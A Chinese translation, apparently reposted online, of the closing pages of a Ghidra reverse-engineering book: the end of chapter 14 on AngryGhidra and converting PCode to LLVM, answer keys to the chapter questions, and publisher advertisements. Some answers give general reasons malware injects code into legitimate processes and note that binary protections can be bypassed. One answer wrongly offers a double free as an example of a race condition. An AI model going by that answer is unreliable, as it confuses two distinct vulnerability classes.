使用这些字段,你可以在几秒钟内解决具有挑战性的二进制问题:

图 14.4 – 使用 AngryGhidra 快速解决挑战

图 14.4 – 使用 AngryGhidra 快速解决挑战

在下一节中,我们将学习如何将 PCode 转换为 低级虚拟机LLVM)中间表示。LLVM 提供了若干编译器和工具链子项目,但对于本书来说,我们只关心 LLVM 中间表示子项目。

使用 pcode-to-llvm 将 PCode 转换为 LLVM

在 Telegram 上有一个关于如何在两种中间表示之间进行转换的讨论——特别是如何从 PCode 转换为 LLVM。这是因为许多工具无法用于 PCode,且由于 Jython 的原因,Ghidra 仅限于 Python 2:

图 14.5 – 为模糊测试目的将 PCode 转换为 LLVM 的概念,发布于 GhidraRE Telegram 频道

图 14.5 – 为模糊测试目的将 PCode 转换为 LLVM 的概念,发布于 GhidraRE Telegram 频道

LLVM

LLVM 项目是一个模块化且可重用的编译器和工具链技术集合。其核心项目也名为 LLVM,包含了你处理中间表示并将其转换为目标文件所需的一切。欲了解更多信息,请查看以下链接:llvm.org/docs/GettingStarted.html

在这种情况下,提问者需要使用 LLVM,例如使用名为 libFuzzer 的模糊测试库(llvm.org/docs/LibFuzzer.html)来查找二进制文件中的漏洞。

你可以使用 Ghidra 通过以下插件将编译后的二进制文件提升为 LLVM:

github.com/toor-de-force/Ghidra-to-LLVM

如你所知,本书之外有很多有趣的主题可以深入研究。我建议你加入 Ghidra Telegram 频道和 Ghidra 社区,了解更多信息。

总结

在本章中,你学习了几个高级逆向工程主题;即符号执行、SMT 求解器和合成符号执行。

你通过使用 MIASM 编写一些简单代码,学习了如何执行符号执行,该代码通过符号执行一个基本的 Hello World 程序的基本块。你还通过执行两个简单实验,了解了 z3 定理求解器。

最后,你学习了如何通过扩展 Ghidra 插件来结合符号执行和合成符号执行。你还学习了如何将 PCode 转换为 LLVM 中间表示,这对于执行一些高级逆向工程任务非常有用。

希望你喜欢阅读这本书。你已经学到了很多知识,但记住要将这些知识付诸实践,以进一步发展你的技能。二进制保护越来越复杂,因此掌握高级逆向工程主题是必要的。Ghidra 可以成为这场斗争中的好盟友,所以要利用它,并将它与其他强大的工具结合使用——甚至是你自己开发的工具。

问题

  1. 具体执行和符号执行有什么区别?

  2. 符号执行能否替代具体执行?

  3. Ghidra 能否对二进制文件应用符号执行或合成符号执行?

进一步阅读

请参考以下链接,获取有关本章所涉及主题的更多信息:

第十五章:评估

第一章

  1. 没有任何逆向工程框架是完美的。每个逆向工程框架都有其优缺点。我们可以提到一些当前 Ghidra 的优点,与大多数其他逆向工程框架相比:

    • 它是开源的并且免费(包括其反编译器)。

    • 它支持很多架构(可能你使用的框架目前还不支持)。

    • 它可以在一个项目中同时加载多个二进制文件。这个功能使你能够轻松地对多个相关的二进制文件(例如,一个可执行二进制文件及其库)应用操作。

    • 它通过设计支持协作逆向工程。

    • 它支持大型固件镜像(1 GB+)而不出现问题。

    • 它有非常棒的文档,其中包括示例和课程。

    • 它支持二进制文件的版本追踪,允许在不同版本的二进制文件之间匹配函数和数据及其标记。

    但是我们也可以提到一个重要的弱点:

    • Ghidra 的 Python 脚本依赖于 Jython(Python 的 Java 实现),目前不支持 Python 3。由于 Python 2.x 已被弃用,这是 Ghidra 的一个显著弱点。
  2. 反汇编窗口右上角的条形工具栏允许你自定义反汇编视图:反汇编列表配置

    反汇编列表配置

    右键点击PCode字段,PCode 将出现在反汇编列表中:

    在反汇编中启用 PCode 字段

    在反汇编中启用 PCode 字段

    以下图展示了启用PCode字段后的反汇编列表:

    启用 PCode 的反汇编列表

    启用 PCode 的反汇编列表

    如截图所示,对于每条汇编指令,都会生成一个或多个 PCode 指令。

  3. 反汇编视图是使用处理器语言显示指令的视图,而反编译视图则显示伪 C 的反编译代码:比较反汇编与反编译后的代码

比较反汇编与反编译后的代码

在前面的截图中,你可以看到左侧边缘的反汇编视图与右侧边缘的反编译视图显示相同的代码。

第二章

  1. Ghidra 脚本非常有用,因为它们可以用于自动化逆向工程任务。

    你可以用 Ghidra 脚本自动化的任务包括:

    • 查找字符串和代码模式

    • 自动去混淆代码

    • 添加有用的注释来丰富反汇编内容

  2. 脚本按类别组织,如下图左侧所示:脚本管理器

    脚本管理器

    当点击右上角的复选框图标时,如从脚本管理器窗口截图所示,脚本目录的路径将会显示:

    脚本目录

    脚本目录

    但脚本管理器中的脚本组织是根据脚本代码头文件中的 @category 字段来确定的,如下所示:

    //TODO 为此脚本编写描述 //@author //@category 字符串 //@keybinding //@menupath //@toolbar

    注意,前面的脚本头是 Python 头文件,但在为 Ghidra 编写 JavaScript 时,会使用类似的头文件。

  3. Ghidra 是用 Java 语言编写的(当然,反编译器不是,它是用 C++ 编写的),因此 Ghidra 的 API 以 Java 的形式公开。Python 也是如此,因为 Python API 是通过 Jython(一个 Java 实现的 Python)实现的 Java 桥接。

第三章

  1. 是的,包含源代码的 ZIP 文件会附加到包含您想调试的 JAR 文件的相同文件夹中。要使用 Eclipse IDE 将源代码与 JAR 文件关联,请右键点击 JAR 文件,然后在 Java Source Attachment 部分的 Workspace 位置字段中输入 ZIP 文件,如下图所示:将 Graph.jar 文件与其源代码关联

    将 Graph.jar 文件与其源代码关联

    之后,您将能够展开 JAR 文件,显示其中包含的 *.class 文件。

  2. 是的,这是可能的,以下博客文章展示了这一点:

    reversing.technology/2019/11/18/ghidra-dev-pt1.html

    但请记住,Eclipse IDE 是 Ghidra 官方支持的唯一 IDE。

  3. 在 Ghidra 中发现了一些漏洞,但这些漏洞以及其他任何漏洞都不太可能是 NSA 在该程序中的后门。NSA 拥有自己的零日漏洞来攻击计算机,肯定不需要在自己的程序中引入后门来攻击全球的计算机。事实上,这样做会在声誉上带来极大的负面影响。

第四章

  1. Ghidra 扩展是扩展 Ghidra 新功能的代码,而脚本则是通过自动化任务来协助逆向工程过程的代码。

  2. 由于此任务包括分析代码并改进它,您需要编写或集成一个新的 Ghidra Analyzer 扩展,以扩展 Ghidra 的分析功能。

  3. 如本章第一个问题所解释,Ghidra 脚本和 Ghidra 扩展有不同的用途,因此请使用 Ghidra 脚本来自动化应用于反汇编列表的逆向工程任务,如果您想通过新功能扩展或改进 Ghidra,则使用 Ghidra 扩展。

第五章

  1. 导入泄露了恶意软件从动态链接库中获取的功能,包括操作系统库,这使得恶意软件能够与外部进行通信。有时恶意软件会动态加载动态链接库(通过 LoadLibrary API)并动态导入函数(通过GetProcAddress API),因此你在进行静态分析时不会看到完整的导入库集,除非进行更深入的分析,超越仅仅是用 Ghidra 打开二进制文件并查找导入。

  2. 是的,你可以使用 Ghidra 分析器从反汇编中提取面向对象的信息(例如,对象、方法等),并利用这些信息改进反汇编列表。或者,使用 Ghidra 分析器从第三方来源获取面向对象的信息,丰富反汇编列表。

  3. 这样做有很多好处:

    • 如果代码注入的应用程序具有与原始进程相比更不严格的防火墙规则,则绕过防火墙规则。

    • 为了更加隐蔽,最好注入到一个合法进程中,而不是创建一个新的进程。

    这个列表包含了一些常见的原因,但完整的列表会非常庞大。

第六章

  1. 设置给定内存地址的字节的适当 Ghidra API 函数是setByte

    我按照以下步骤来定位这个 Ghidra Flat API 函数:

    1. 我查看了在第六章中提供的 Ghidra Flat API 参考,脚本化恶意软件分析

    2. 我找到了感兴趣的 Ghidra Flat API 函数集:setByte

    3. 我查看了该函数的在线文档,以确认它就是我寻找的那个函数:ghidra.re/ghidra_docs/api/ghidra/program/database/mem/MemoryMapDB.html#setByte(ghidra.program.model.address.Address,byte

    4. 描述符合我的需求:在地址写入字节。所以我们可以使用它来做这件事。

  2. Ghidra 是用 Java 编程语言编写的,这也是为什么该语言是最受支持的语言(当然,反编译器除外;反编译器是用 C++编程语言编写的),因此 Ghidra 的 API 自然以 Java 语言暴露。Java API 比 Python API 更好,因为 Python API 是通过 Jython 实现的 Java API 的桥梁,而 Jython 是 Python 的 Java 实现。因此,Jython 可能会出现问题,而 Java 则没有这种问题。让我们随机挑选一个问题来演示:github.com/NationalSecurityAgency/ghidra/issues/2369

    或者按照这个链接自己查找 Jython 相关的问题:github.com/NationalSecurityAgency/ghidra/search?q=jython&type=issues

  3. 是的,使用 Ghidra 脚本时,可以计算运行时计算的值并将其用于丰富反汇编。

第七章

  1. 你只能在无头模式下执行有头模式脚本,前提是这些脚本不使用 GUI API,反之亦然。如果脚本使用了无头模式专用的函数,则会抛出异常。

  2. Ghidra 的头模式有助于通过分析图形、改进图形、读取反汇编列表等,进行二进制文件的可视化和大多数手动分析。另一方面,无头模式适合执行自动化分析或对一组二进制文件应用脚本。

  3. 区别在于,grepstrings 会返回在二进制文件中找到的任何匹配字符串,而 Ghidra 会返回分析器识别的匹配字符串。例如,你还可以在反汇编列表中识别对它的引用,虚假的字符串不会被 Ghidra 考虑在内。

第八章

  1. 不,内存损坏是一种软件漏洞,但还有许多其他漏洞。例如,竞争条件漏洞:

    • 在同一内存地址上执行 free() 两次,可能导致修改意外的内存位置。
  2. 它被认为是不安全的,因为没有考虑目标缓冲区的大小,而源缓冲区会被复制到这个目标缓冲区中,因此很容易导致缓冲区溢出。

  3. 三种常见的二进制保护方法如下:

    • 堆栈金丝雀:在这种方法中,我们在返回地址之前放置一个预先计算的值(即金丝雀),使得返回地址在没有首先覆盖该值的情况下无法被覆盖。可以在从函数返回后检查金丝雀的完整性。

    • DEP (数据执行保护) / NX (不可执行):使堆栈不可执行,这样攻击者就不能简单地在堆栈上执行 shellcode。

    • ASLR (地址空间布局随机化) / PIE (位置独立可执行文件):随机化系统可执行文件加载到内存中的位置,这样攻击者就无法轻易知道如果程序被劫持,应该将程序流重定向到哪里。

    是的,有时可以绕过所有提到的方法来实现代码执行。

第九章

  1. SLEIGH 是一种处理器规格语言,用于正式描述将机器指令的位编码(特定处理器的)转换为人类可读的汇编语言并转换为 PCode。

    另一方面,PCode 是一种 中间表示 (IR),可以被转换成特定处理器的汇编指令。更准确地说,它是一种 寄存器传输语言 (RTL)。PCode 用于描述架构中寄存器传输级别的数据流。

  2. 不,不能。

    PCode 非常有用,因为它可以转换为多种不同的汇编语言。实际上,如果你为 PCode 开发一个工具,你将自动支持许多架构。此外,PCode 比汇编语言提供了更多的粒度(一个汇编指令会转换为一个或多个 PCode 指令),因此你可以更好地控制副作用。当开发某些类型的工具时,这个特性非常有用。

第十章

  1. Ghidra 主要是用 Java 语言实现的,但当然,反编译器是用 C++语言实现的。

  2. 你可以使用 Ghidra 插件来实现这一点。例如,你可以安装以下可用插件,支持调试同步:

  3. 提供者是实现 Ghidra 插件图形用户界面(GUI)的 Java 代码。

第十一章

  1. 原始二进制文件是包含未经处理的数据的文件,因此它没有任何格式,而格式化的二进制文件是遵循格式规范的二进制文件,这样它们可以被解析,例如通过 Ghidra。

  2. 如果被分析的文件遵循格式规范,那么让加载器自动定义字节为代码或字符串、创建符号等,会更加方便。当处理原始二进制文件时,你需要手动处理数据。因此,反向工程师通常会更愿意处理格式化的二进制文件,而不是原始二进制文件。

  3. 旧版 DOS 可执行文件是 MS-DOS 可执行二进制文件的格式。Ghidra 加载器用于旧版 DOS 可执行文件的开发是通过以下软件实现的:

    • DOSHeader.java:一个实现旧版 DOS 可执行文件解析器的 Java 文件。

    • OldStyleExecutable.java:一个类,使用FactoryBundledWithBinaryReader从通用字节提供者读取数据,并将其传递给DOSHeader类以进行解析。OldStyleExecutable类通过 getter 方法公开了DOSHeader和底层的FactoryBundledWithBinaryReader对象。

第十二章

  1. 处理器模块使用 SLEIGH 处理器规范语言添加对处理器的支持,而分析器模块是用于扩展 Ghidra 代码分析的 Java 代码,用以识别函数、检测调用函数时的参数等。

  2. 是的。指示可能开始函数或代码边界的标签是相对于所声明的模式的。

  3. 一种语言指的是微处理器架构。由于微处理器架构包含一系列指令集架构,因此“语言变体”一词意味着属于同一微处理器架构的所有指令集架构中的每一个。

第十三章

  1. 不行。Ghidra 是一个开源项目,你可以随时加入社区。你只需要创建一个 Ghidra 账户并访问以下网址即可加入:

    github.com/NationalSecurityAgency/ghidra/

  2. 你可以通过 GitHub 与他们互动,例如,写评论、向 Ghidra 提出带有你自己代码的拉取请求,等等:github.com/NationalSecurityAgency/ghidra/

    有几个聊天链接可以用来与其他成员交流:

第十四章

  1. 具体执行意味着使用具体的值来运行程序(例如,eax寄存器的值为 5),而符号执行则使用符号值运行程序,这些符号值可以通过eax寄存器表示,eax寄存器是一个 32 位的向量,其值此刻小于 5。

  2. 不行,它做不到。对于一般情况,无法以高效的方式执行符号执行。

  3. 是的。你可以扩展 Ghidra,将符号执行和/或合成执行应用于二进制文件。

第十六章:其他您可能感兴趣的书籍

如果您喜欢本书,您可能会对 Packt 出版的其他书籍感兴趣:

掌握 Linux 安全与加固

唐纳德·特沃特

ISBN: 978-1-83898-177-8

  • 创建具有强密码的受限用户账户

  • 使用 iptables、UFW、nftables 和 firewalld 配置防火墙

  • 使用不同的加密技术保护您的数据

  • 加固安全外壳服务以防止安全漏洞

  • 使用强制访问控制防止系统被利用

  • 加固内核参数并建立内核级审计系统

  • 应用 OpenSCAP 安全配置文件并设置入侵检测

掌握恶意软件分析

亚历克谢·克莱梅诺夫 和 阿姆尔·塔贝特

ISBN: 978-1-78961-078-9

  • 探索广泛使用的汇编语言,以提升您的逆向工程技能

  • 精通不同的可执行文件格式、编程语言以及攻击者使用的相关 API

  • 对多平台和文件类型进行静态与动态分析

  • 掌握处理复杂恶意软件案件的技巧

  • 了解真实的高级攻击,涵盖从渗透到攻击系统的所有阶段

  • 学会绕过反逆向工程技术

留下评论 - 让其他读者了解您的想法

请通过在您购买此书的网站上留下评论,与他人分享您对这本书的看法。如果您是在亚马逊购买的这本书,请在该书的亚马逊页面上留下诚实的评论。这对其他潜在读者非常重要,能帮助他们根据您的无偏意见做出购买决策,帮助我们了解客户对产品的看法,同时让作者看到您对他们与 Packt 合作创作的作品的反馈。只需花费您几分钟的时间,却对其他潜在客户、我们的作者和 Packt 都极具价值。谢谢!

posted @ 2025-07-07 14:33  绝不原创的飞龙  阅读(495)  评论(0)    收藏  举报